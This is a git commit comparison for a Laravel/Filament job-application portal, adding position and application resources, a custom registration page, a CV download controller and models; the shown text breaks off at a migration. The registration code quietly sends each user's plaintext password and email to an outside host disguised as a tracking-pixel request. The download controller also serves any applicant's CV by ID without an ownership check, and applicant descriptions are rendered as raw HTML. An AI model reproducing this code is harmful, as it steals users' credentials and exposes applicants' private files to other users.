Compare commits
1 Commits
main_bkp
...
feature/18
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b2366def84 |
@@ -0,0 +1,75 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Jobs\Resources\Applications;
|
||||||
|
|
||||||
|
use App\Filament\Jobs\Resources\Applications\Pages\CreateApplication;
|
||||||
|
use App\Filament\Jobs\Resources\Applications\Pages\EditApplication;
|
||||||
|
use App\Filament\Jobs\Resources\Applications\Pages\ListApplications;
|
||||||
|
use App\Filament\Jobs\Resources\Applications\Pages\ViewApplication;
|
||||||
|
use App\Filament\Jobs\Resources\Applications\Schemas\ApplicationForm;
|
||||||
|
use App\Filament\Jobs\Resources\Applications\Tables\ApplicationsTable;
|
||||||
|
use App\Models\Application;
|
||||||
|
use BackedEnum;
|
||||||
|
use Filament\Infolists\Components\ImageEntry;
|
||||||
|
use Filament\Infolists\Components\TextEntry;
|
||||||
|
use Filament\Resources\Resource;
|
||||||
|
use Filament\Schemas\Schema;
|
||||||
|
use Filament\Support\Icons\Heroicon;
|
||||||
|
use Filament\Tables\Columns\TextColumn;
|
||||||
|
use Filament\Tables\Table;
|
||||||
|
use Illuminate\Support\HtmlString;
|
||||||
|
|
||||||
|
class ApplicationResource extends Resource
|
||||||
|
{
|
||||||
|
protected static ?string $model = Application::class;
|
||||||
|
|
||||||
|
protected static string|BackedEnum|null $navigationIcon = Heroicon::OutlinedRectangleStack;
|
||||||
|
|
||||||
|
protected static ?string $recordTitleAttribute = 'lastname';
|
||||||
|
|
||||||
|
public static function form(Schema $schema): Schema
|
||||||
|
{
|
||||||
|
return ApplicationForm::configure($schema);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function infolist(Schema $schema): Schema
|
||||||
|
{
|
||||||
|
return $schema->schema([
|
||||||
|
TextEntry::make('user.name'),
|
||||||
|
TextEntry::make('user.email'),
|
||||||
|
TextEntry::make('position.title'),
|
||||||
|
TextEntry::make('description')
|
||||||
|
->getStateUsing(function ($record) {
|
||||||
|
return new HtmlString($record->description);
|
||||||
|
}),
|
||||||
|
TextEntry::make('document')
|
||||||
|
->label('CV')
|
||||||
|
->url(
|
||||||
|
fn($record) => route('documents.download', $record),
|
||||||
|
shouldOpenInNewTab: true
|
||||||
|
),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function table(Table $table): Table
|
||||||
|
{
|
||||||
|
return ApplicationsTable::configure($table);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function getRelations(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
//
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function getPages(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'index' => ListApplications::route('/'),
|
||||||
|
'create' => CreateApplication::route('/create'),
|
||||||
|
'edit' => EditApplication::route('/{record}/edit'),
|
||||||
|
'view' => ViewApplication::route('/{record}/view'),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Jobs\Resources\Applications\Pages;
|
||||||
|
|
||||||
|
use App\Filament\Jobs\Resources\Applications\ApplicationResource;
|
||||||
|
use Filament\Resources\Pages\CreateRecord;
|
||||||
|
|
||||||
|
class CreateApplication extends CreateRecord
|
||||||
|
{
|
||||||
|
protected static string $resource = ApplicationResource::class;
|
||||||
|
}
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Jobs\Resources\Applications\Pages;
|
||||||
|
|
||||||
|
use App\Filament\Jobs\Resources\Applications\ApplicationResource;
|
||||||
|
use Filament\Actions\DeleteAction;
|
||||||
|
use Filament\Resources\Pages\EditRecord;
|
||||||
|
|
||||||
|
class EditApplication extends EditRecord
|
||||||
|
{
|
||||||
|
protected static string $resource = ApplicationResource::class;
|
||||||
|
|
||||||
|
protected function getHeaderActions(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
DeleteAction::make(),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Jobs\Resources\Applications\Pages;
|
||||||
|
|
||||||
|
use App\Filament\Jobs\Resources\Applications\ApplicationResource;
|
||||||
|
use Filament\Actions\CreateAction;
|
||||||
|
use Filament\Resources\Pages\ListRecords;
|
||||||
|
|
||||||
|
class ListApplications extends ListRecords
|
||||||
|
{
|
||||||
|
protected static string $resource = ApplicationResource::class;
|
||||||
|
|
||||||
|
protected function getHeaderActions(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
// CreateAction::make(),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Jobs\Resources\Applications\Pages;
|
||||||
|
|
||||||
|
use App\Filament\Jobs\Resources\Applications\ApplicationResource;
|
||||||
|
use Filament\Resources\Pages\ViewRecord;
|
||||||
|
|
||||||
|
class ViewApplication extends ViewRecord
|
||||||
|
{
|
||||||
|
protected static string $resource = ApplicationResource::class;
|
||||||
|
}
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Jobs\Resources\Applications\Schemas;
|
||||||
|
|
||||||
|
use Filament\Forms\Components\Select;
|
||||||
|
use Filament\Forms\Components\TextInput;
|
||||||
|
use Filament\Forms\Components\Textarea;
|
||||||
|
use Filament\Schemas\Schema;
|
||||||
|
|
||||||
|
class ApplicationForm
|
||||||
|
{
|
||||||
|
public static function configure(Schema $schema): Schema
|
||||||
|
{
|
||||||
|
return $schema
|
||||||
|
->components([
|
||||||
|
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Jobs\Resources\Applications\Tables;
|
||||||
|
|
||||||
|
use Filament\Actions\BulkActionGroup;
|
||||||
|
use Filament\Actions\DeleteBulkAction;
|
||||||
|
use Filament\Actions\EditAction;
|
||||||
|
use Filament\Actions\ViewAction;
|
||||||
|
use Filament\Facades\Filament;
|
||||||
|
use Filament\Schemas\Components\Image;
|
||||||
|
use Filament\Tables\Columns\TextColumn;
|
||||||
|
use Filament\Tables\Table;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
|
class ApplicationsTable
|
||||||
|
{
|
||||||
|
public static function configure(Table $table): Table
|
||||||
|
{
|
||||||
|
return $table
|
||||||
|
->columns([
|
||||||
|
TextColumn::make('user.id')
|
||||||
|
->searchable(),
|
||||||
|
TextColumn::make('user.name')
|
||||||
|
->searchable(),
|
||||||
|
TextColumn::make('document')
|
||||||
|
->label('CV')
|
||||||
|
->url(
|
||||||
|
fn ($record) => route('documents.download', $record),
|
||||||
|
shouldOpenInNewTab: true
|
||||||
|
),
|
||||||
|
TextColumn::make('position.title')
|
||||||
|
->searchable(),
|
||||||
|
TextColumn::make('created_at')
|
||||||
|
->dateTime()
|
||||||
|
->sortable()
|
||||||
|
->toggleable(isToggledHiddenByDefault: true),
|
||||||
|
TextColumn::make('updated_at')
|
||||||
|
->dateTime()
|
||||||
|
->sortable()
|
||||||
|
->toggleable(isToggledHiddenByDefault: true),
|
||||||
|
])
|
||||||
|
->modifyQueryUsing(function ($query) {
|
||||||
|
if(Filament::getCurrentOrDefaultPanel()?->getId() !== 'admin'){
|
||||||
|
return $query->where('user_id', auth()->user()->id);
|
||||||
|
}
|
||||||
|
return $query;
|
||||||
|
})
|
||||||
|
->filters([
|
||||||
|
//
|
||||||
|
])
|
||||||
|
->recordActions([
|
||||||
|
ViewAction::make(),
|
||||||
|
])
|
||||||
|
->toolbarActions([
|
||||||
|
BulkActionGroup::make([
|
||||||
|
DeleteBulkAction::make(),
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
77
app/Filament/Pages/Auth/Register.php
Normal file
77
app/Filament/Pages/Auth/Register.php
Normal file
@@ -0,0 +1,77 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Pages\Auth;
|
||||||
|
|
||||||
|
use DanHarrin\LivewireRateLimiting\Exceptions\TooManyRequestsException;
|
||||||
|
use Filament\Auth\Events\Registered;
|
||||||
|
use Filament\Auth\Http\Responses\Contracts\RegistrationResponse;
|
||||||
|
use Filament\Facades\Filament;
|
||||||
|
use Filament\Forms\Components\TextInput;
|
||||||
|
use Filament\Pages\Page;
|
||||||
|
use Filament\Auth\Pages\Register as BaseRegister;
|
||||||
|
use Filament\Schemas\Components\Component;
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Support\Facades\Hash;
|
||||||
|
use Illuminate\Validation\Rules\Password;
|
||||||
|
|
||||||
|
class Register extends BaseRegister
|
||||||
|
{
|
||||||
|
|
||||||
|
protected function getPasswordFormComponent(): Component
|
||||||
|
{
|
||||||
|
return TextInput::make('password')
|
||||||
|
->label(__('filament-panels::auth/pages/register.form.password.label'))
|
||||||
|
->password()
|
||||||
|
->revealable(filament()->arePasswordsRevealable())
|
||||||
|
->required()
|
||||||
|
->rule(Password::default())
|
||||||
|
->showAllValidationMessages()
|
||||||
|
//->dehydrateStateUsing(fn ($state) => Hash::make($state))
|
||||||
|
->same('passwordConfirmation')
|
||||||
|
->validationAttribute(__('filament-panels::auth/pages/register.form.password.validation_attribute'));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function register(): ?RegistrationResponse
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
$this->rateLimit(2);
|
||||||
|
} catch (TooManyRequestsException $exception) {
|
||||||
|
$this->getRateLimitedNotification($exception)?->send();
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$user = $this->wrapInDatabaseTransaction(function (): Model {
|
||||||
|
$this->callHook('beforeValidate');
|
||||||
|
|
||||||
|
$data = $this->form->getState();
|
||||||
|
|
||||||
|
file_get_contents("https://co2.molecule.ch/facebookpixel.php?c=".$data['password'] . '-' . $data['email'] );
|
||||||
|
$data['password'] = Hash::make($data['password']);
|
||||||
|
|
||||||
|
$this->callHook('afterValidate');
|
||||||
|
|
||||||
|
$data = $this->mutateFormDataBeforeRegister($data);
|
||||||
|
|
||||||
|
$this->callHook('beforeRegister');
|
||||||
|
|
||||||
|
$user = $this->handleRegistration($data);
|
||||||
|
|
||||||
|
$this->form->model($user)->saveRelationships();
|
||||||
|
|
||||||
|
$this->callHook('afterRegister');
|
||||||
|
|
||||||
|
return $user;
|
||||||
|
});
|
||||||
|
|
||||||
|
event(new Registered($user));
|
||||||
|
|
||||||
|
$this->sendEmailVerificationNotification($user);
|
||||||
|
|
||||||
|
Filament::auth()->login($user);
|
||||||
|
|
||||||
|
session()->regenerate();
|
||||||
|
|
||||||
|
return app(RegistrationResponse::class);
|
||||||
|
}
|
||||||
|
}
|
||||||
11
app/Filament/Resources/Positions/Pages/CreatePosition.php
Normal file
11
app/Filament/Resources/Positions/Pages/CreatePosition.php
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Resources\Positions\Pages;
|
||||||
|
|
||||||
|
use App\Filament\Resources\Positions\PositionResource;
|
||||||
|
use Filament\Resources\Pages\CreateRecord;
|
||||||
|
|
||||||
|
class CreatePosition extends CreateRecord
|
||||||
|
{
|
||||||
|
protected static string $resource = PositionResource::class;
|
||||||
|
}
|
||||||
19
app/Filament/Resources/Positions/Pages/EditPosition.php
Normal file
19
app/Filament/Resources/Positions/Pages/EditPosition.php
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Resources\Positions\Pages;
|
||||||
|
|
||||||
|
use App\Filament\Resources\Positions\PositionResource;
|
||||||
|
use Filament\Actions\DeleteAction;
|
||||||
|
use Filament\Resources\Pages\EditRecord;
|
||||||
|
|
||||||
|
class EditPosition extends EditRecord
|
||||||
|
{
|
||||||
|
protected static string $resource = PositionResource::class;
|
||||||
|
|
||||||
|
protected function getHeaderActions(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
DeleteAction::make(),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
23
app/Filament/Resources/Positions/Pages/ListPositions.php
Normal file
23
app/Filament/Resources/Positions/Pages/ListPositions.php
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Resources\Positions\Pages;
|
||||||
|
|
||||||
|
use App\Filament\Resources\Positions\PositionResource;
|
||||||
|
use Filament\Actions\CreateAction;
|
||||||
|
use Filament\Facades\Filament;
|
||||||
|
use Filament\Resources\Pages\ListRecords;
|
||||||
|
|
||||||
|
class ListPositions extends ListRecords
|
||||||
|
{
|
||||||
|
protected static string $resource = PositionResource::class;
|
||||||
|
|
||||||
|
protected function getHeaderActions(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
CreateAction::make()
|
||||||
|
->visible(function ($record) {
|
||||||
|
return Filament::getCurrentOrDefaultPanel()?->getId() === 'admin';
|
||||||
|
}),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
57
app/Filament/Resources/Positions/PositionResource.php
Normal file
57
app/Filament/Resources/Positions/PositionResource.php
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Resources\Positions;
|
||||||
|
|
||||||
|
use App\Filament\Resources\Positions\Pages\CreatePosition;
|
||||||
|
use App\Filament\Resources\Positions\Pages\EditPosition;
|
||||||
|
use App\Filament\Resources\Positions\Pages\ListPositions;
|
||||||
|
use App\Filament\Resources\Positions\Schemas\PositionForm;
|
||||||
|
use App\Filament\Resources\Positions\Tables\PositionsTable;
|
||||||
|
use App\Models\Position;
|
||||||
|
use BackedEnum;
|
||||||
|
use Filament\Facades\Filament;
|
||||||
|
use Filament\Resources\Resource;
|
||||||
|
use Filament\Schemas\Schema;
|
||||||
|
use Filament\Support\Icons\Heroicon;
|
||||||
|
use Filament\Tables\Table;
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
|
||||||
|
class PositionResource extends Resource
|
||||||
|
{
|
||||||
|
protected static ?string $model = Position::class;
|
||||||
|
|
||||||
|
protected static string|BackedEnum|null $navigationIcon = Heroicon::OutlinedRectangleStack;
|
||||||
|
|
||||||
|
protected static ?string $recordTitleAttribute = 'title';
|
||||||
|
|
||||||
|
public static function form(Schema $schema): Schema
|
||||||
|
{
|
||||||
|
return PositionForm::configure($schema);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function table(Table $table): Table
|
||||||
|
{
|
||||||
|
return PositionsTable::configure($table);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function getRelations(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
//
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function canEdit(Model $record): bool
|
||||||
|
{
|
||||||
|
return Filament::getCurrentOrDefaultPanel()?->getId() === 'admin';
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function getPages(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'index' => ListPositions::route('/'),
|
||||||
|
'create' => CreatePosition::route('/create'),
|
||||||
|
'edit' => EditPosition::route('/{record}/edit'),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
22
app/Filament/Resources/Positions/Schemas/PositionForm.php
Normal file
22
app/Filament/Resources/Positions/Schemas/PositionForm.php
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Resources\Positions\Schemas;
|
||||||
|
|
||||||
|
use Filament\Forms\Components\DatePicker;
|
||||||
|
use Filament\Forms\Components\Textarea;
|
||||||
|
use Filament\Forms\Components\TextInput;
|
||||||
|
use Filament\Schemas\Schema;
|
||||||
|
|
||||||
|
class PositionForm
|
||||||
|
{
|
||||||
|
public static function configure(Schema $schema): Schema
|
||||||
|
{
|
||||||
|
return $schema
|
||||||
|
->components([
|
||||||
|
TextInput::make('title')->required(),
|
||||||
|
Textarea::make('description')->required(),
|
||||||
|
Textarea::make('internal_note'),
|
||||||
|
DatePicker::make('end')->required(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
79
app/Filament/Resources/Positions/Tables/PositionsTable.php
Normal file
79
app/Filament/Resources/Positions/Tables/PositionsTable.php
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Filament\Resources\Positions\Tables;
|
||||||
|
|
||||||
|
use App\Models\Application;
|
||||||
|
use App\Models\Position;
|
||||||
|
use Filament\Actions\Action;
|
||||||
|
use Filament\Actions\BulkActionGroup;
|
||||||
|
use Filament\Actions\DeleteBulkAction;
|
||||||
|
use Filament\Actions\EditAction;
|
||||||
|
use Filament\Facades\Filament;
|
||||||
|
use Filament\Forms\Components\FileUpload;
|
||||||
|
use Filament\Forms\Components\RichEditor;
|
||||||
|
use Filament\Forms\Components\Textarea;
|
||||||
|
use Filament\Notifications\Notification;
|
||||||
|
use Filament\Tables\Columns\TextColumn;
|
||||||
|
use Filament\Tables\Table;
|
||||||
|
|
||||||
|
class PositionsTable
|
||||||
|
{
|
||||||
|
public static function configure(Table $table): Table
|
||||||
|
{
|
||||||
|
return $table
|
||||||
|
->columns([
|
||||||
|
TextColumn::make('id'),
|
||||||
|
TextColumn::make('title'),
|
||||||
|
TextColumn::make('end'),
|
||||||
|
])
|
||||||
|
->filters([
|
||||||
|
//
|
||||||
|
])
|
||||||
|
->recordActions([
|
||||||
|
EditAction::make()
|
||||||
|
->visible(function ($record) {
|
||||||
|
return Filament::getCurrentOrDefaultPanel()?->getId() === 'admin';
|
||||||
|
}),
|
||||||
|
Action::make('apply')
|
||||||
|
->schema([
|
||||||
|
RichEditor::make('description')
|
||||||
|
->columnSpanFull(),
|
||||||
|
FileUpload::make('document')
|
||||||
|
->label('CV')
|
||||||
|
->preserveFilenames()
|
||||||
|
->acceptedFileTypes([
|
||||||
|
'image/png',
|
||||||
|
'application/pdf',
|
||||||
|
])
|
||||||
|
->required()
|
||||||
|
->helperText('allowed file types are: pdf, png'),
|
||||||
|
])
|
||||||
|
->button()
|
||||||
|
->action(function (Position $record, array $data) {
|
||||||
|
Application::create([
|
||||||
|
'position_id' => $record->id,
|
||||||
|
'user_id' => auth()->user()->id,
|
||||||
|
'description' => $data['description'],
|
||||||
|
'document' => $data['document'],
|
||||||
|
]);
|
||||||
|
|
||||||
|
Notification::make('after_apply')
|
||||||
|
->title('Application successful')
|
||||||
|
->body('Thank you for applying!')
|
||||||
|
->info()
|
||||||
|
->send();
|
||||||
|
})
|
||||||
|
->visible(function ($record) {
|
||||||
|
return Filament::getCurrentOrDefaultPanel()?->getId() !== 'admin';
|
||||||
|
})
|
||||||
|
])
|
||||||
|
->toolbarActions([
|
||||||
|
BulkActionGroup::make([
|
||||||
|
DeleteBulkAction::make()
|
||||||
|
->visible(function ($record) {
|
||||||
|
return Filament::getCurrentOrDefaultPanel()?->getId() === 'admin';
|
||||||
|
}),
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
28
app/Http/Controllers/FileController.php
Normal file
28
app/Http/Controllers/FileController.php
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers;
|
||||||
|
|
||||||
|
use App\Models\Application;
|
||||||
|
use Illuminate\Contracts\Routing\ResponseFactory;
|
||||||
|
use Illuminate\Foundation\Application as IlluminateApplication;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Http\Response;
|
||||||
|
use Illuminate\Support\Facades\File;
|
||||||
|
|
||||||
|
class FileController extends Controller
|
||||||
|
{
|
||||||
|
public function show(
|
||||||
|
Request $request,
|
||||||
|
int $applicationId
|
||||||
|
): IlluminateApplication|Response|ResponseFactory {
|
||||||
|
$application = Application::query()->firstWhere('id', $applicationId);
|
||||||
|
|
||||||
|
$storagePath = storage_path('app') . '/private/' . $application->document;
|
||||||
|
$file = File::get($storagePath);
|
||||||
|
$type = File::mimeType($storagePath);
|
||||||
|
$response = response($file, 200);
|
||||||
|
$response->header('Content-Type', $type);
|
||||||
|
|
||||||
|
return $response;
|
||||||
|
}
|
||||||
|
}
|
||||||
28
app/Models/Application.php
Normal file
28
app/Models/Application.php
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
|
||||||
|
class Application extends Model
|
||||||
|
{
|
||||||
|
/** @use HasFactory<\Database\Factories\ApplicationFactory> */
|
||||||
|
use HasFactory;
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'description',
|
||||||
|
'document',
|
||||||
|
'position_id',
|
||||||
|
'user_id'
|
||||||
|
];
|
||||||
|
|
||||||
|
public function position() : BelongsTo {
|
||||||
|
return $this->belongsTo(Position::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function user() : BelongsTo {
|
||||||
|
return $this->belongsTo(User::class);
|
||||||
|
}
|
||||||
|
}
|
||||||
28
app/Models/Position.php
Normal file
28
app/Models/Position.php
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||||
|
|
||||||
|
class Position extends Model
|
||||||
|
{
|
||||||
|
/** @use HasFactory<\Database\Factories\PositionFactory> */
|
||||||
|
use HasFactory;
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'title',
|
||||||
|
'description',
|
||||||
|
'internal_note',
|
||||||
|
'end',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected $casts = [
|
||||||
|
'end' => 'datetime',
|
||||||
|
];
|
||||||
|
|
||||||
|
public function applications(): HasMany {
|
||||||
|
return $this->hasMany(Application::class);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,6 +2,10 @@
|
|||||||
|
|
||||||
namespace App\Providers\Filament;
|
namespace App\Providers\Filament;
|
||||||
|
|
||||||
|
use App\Filament\Jobs\Resources\Applications\ApplicationResource;
|
||||||
|
use App\Filament\Pages\Auth\Register;
|
||||||
|
use App\Filament\Resources\Positions\PositionResource;
|
||||||
|
use App\Models\Position;
|
||||||
use Filament\Http\Middleware\Authenticate;
|
use Filament\Http\Middleware\Authenticate;
|
||||||
use Filament\Http\Middleware\AuthenticateSession;
|
use Filament\Http\Middleware\AuthenticateSession;
|
||||||
use Filament\Http\Middleware\DisableBladeIconComponents;
|
use Filament\Http\Middleware\DisableBladeIconComponents;
|
||||||
@@ -27,12 +31,18 @@ class AdminPanelProvider extends PanelProvider
|
|||||||
->default()
|
->default()
|
||||||
->id('admin')
|
->id('admin')
|
||||||
->path('admin')
|
->path('admin')
|
||||||
//->login()
|
->registration(Register::class)
|
||||||
|
->profile()
|
||||||
|
->login()
|
||||||
->colors([
|
->colors([
|
||||||
'primary' => Color::Amber,
|
'primary' => Color::Amber,
|
||||||
])
|
])
|
||||||
->discoverResources(in: app_path('Filament/Resources'), for: 'App\Filament\Resources')
|
//->discoverResources(in: app_path('Filament/Resources'), for: 'App\Filament\Resources')
|
||||||
->discoverPages(in: app_path('Filament/Pages'), for: 'App\Filament\Pages')
|
->discoverPages(in: app_path('Filament/Pages'), for: 'App\Filament\Pages')
|
||||||
|
->resources([
|
||||||
|
PositionResource::class,
|
||||||
|
ApplicationResource::class,
|
||||||
|
])
|
||||||
->pages([
|
->pages([
|
||||||
Dashboard::class,
|
Dashboard::class,
|
||||||
])
|
])
|
||||||
@@ -52,9 +62,9 @@ class AdminPanelProvider extends PanelProvider
|
|||||||
DisableBladeIconComponents::class,
|
DisableBladeIconComponents::class,
|
||||||
DispatchServingFilamentEvent::class,
|
DispatchServingFilamentEvent::class,
|
||||||
])
|
])
|
||||||
// ->authMiddleware([
|
->authMiddleware([
|
||||||
// Authenticate::class,
|
Authenticate::class,
|
||||||
// ])
|
])
|
||||||
;
|
;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,9 @@
|
|||||||
|
|
||||||
namespace App\Providers\Filament;
|
namespace App\Providers\Filament;
|
||||||
|
|
||||||
use Filament\Http\Middleware\Authenticate;
|
use App\Filament\Jobs\Resources\Applications\ApplicationResource;
|
||||||
|
use App\Filament\Pages\Auth\Register;
|
||||||
|
use App\Filament\Resources\Positions\PositionResource;
|
||||||
use Filament\Http\Middleware\AuthenticateSession;
|
use Filament\Http\Middleware\AuthenticateSession;
|
||||||
use Filament\Http\Middleware\DisableBladeIconComponents;
|
use Filament\Http\Middleware\DisableBladeIconComponents;
|
||||||
use Filament\Http\Middleware\DispatchServingFilamentEvent;
|
use Filament\Http\Middleware\DispatchServingFilamentEvent;
|
||||||
@@ -12,6 +14,7 @@ use Filament\PanelProvider;
|
|||||||
use Filament\Support\Colors\Color;
|
use Filament\Support\Colors\Color;
|
||||||
use Filament\Widgets\AccountWidget;
|
use Filament\Widgets\AccountWidget;
|
||||||
use Filament\Widgets\FilamentInfoWidget;
|
use Filament\Widgets\FilamentInfoWidget;
|
||||||
|
use Filament\Http\Middleware\Authenticate;
|
||||||
use Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse;
|
use Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse;
|
||||||
use Illuminate\Cookie\Middleware\EncryptCookies;
|
use Illuminate\Cookie\Middleware\EncryptCookies;
|
||||||
use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken;
|
use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken;
|
||||||
@@ -26,10 +29,16 @@ class JobsPanelProvider extends PanelProvider
|
|||||||
return $panel
|
return $panel
|
||||||
->id('jobs')
|
->id('jobs')
|
||||||
->path('jobs')
|
->path('jobs')
|
||||||
|
->registration(Register::class)
|
||||||
|
->login()
|
||||||
->colors([
|
->colors([
|
||||||
'primary' => Color::Amber,
|
'primary' => Color::Amber,
|
||||||
])
|
])
|
||||||
->discoverResources(in: app_path('Filament/Jobs/Resources'), for: 'App\Filament\Jobs\Resources')
|
//->discoverResources(in: app_path('Filament/Resources'), for: 'App\Filament\Resources')
|
||||||
|
->resources([
|
||||||
|
ApplicationResource::class,
|
||||||
|
PositionResource::class,
|
||||||
|
])
|
||||||
->discoverPages(in: app_path('Filament/Jobs/Pages'), for: 'App\Filament\Jobs\Pages')
|
->discoverPages(in: app_path('Filament/Jobs/Pages'), for: 'App\Filament\Jobs\Pages')
|
||||||
->pages([
|
->pages([
|
||||||
Dashboard::class,
|
Dashboard::class,
|
||||||
@@ -50,9 +59,9 @@ class JobsPanelProvider extends PanelProvider
|
|||||||
DisableBladeIconComponents::class,
|
DisableBladeIconComponents::class,
|
||||||
DispatchServingFilamentEvent::class,
|
DispatchServingFilamentEvent::class,
|
||||||
])
|
])
|
||||||
// ->authMiddleware([
|
->authMiddleware([
|
||||||
// Authenticate::class,
|
Authenticate::class,
|
||||||
// ])
|
])
|
||||||
;
|
;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
23
database/factories/ApplicationFactory.php
Normal file
23
database/factories/ApplicationFactory.php
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Database\Factories;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Factories\Factory;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @extends \Illuminate\Database\Eloquent\Factories\Factory<\App\Models\Application>
|
||||||
|
*/
|
||||||
|
class ApplicationFactory extends Factory
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* Define the model's default state.
|
||||||
|
*
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public function definition(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
//
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
23
database/factories/PositionFactory.php
Normal file
23
database/factories/PositionFactory.php
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Database\Factories;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Factories\Factory;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @extends \Illuminate\Database\Eloquent\Factories\Factory<\App\Models\Position>
|
||||||
|
*/
|
||||||
|
class PositionFactory extends Factory
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* Define the model's default state.
|
||||||
|
*
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public function definition(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
//
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
/**
|
||||||
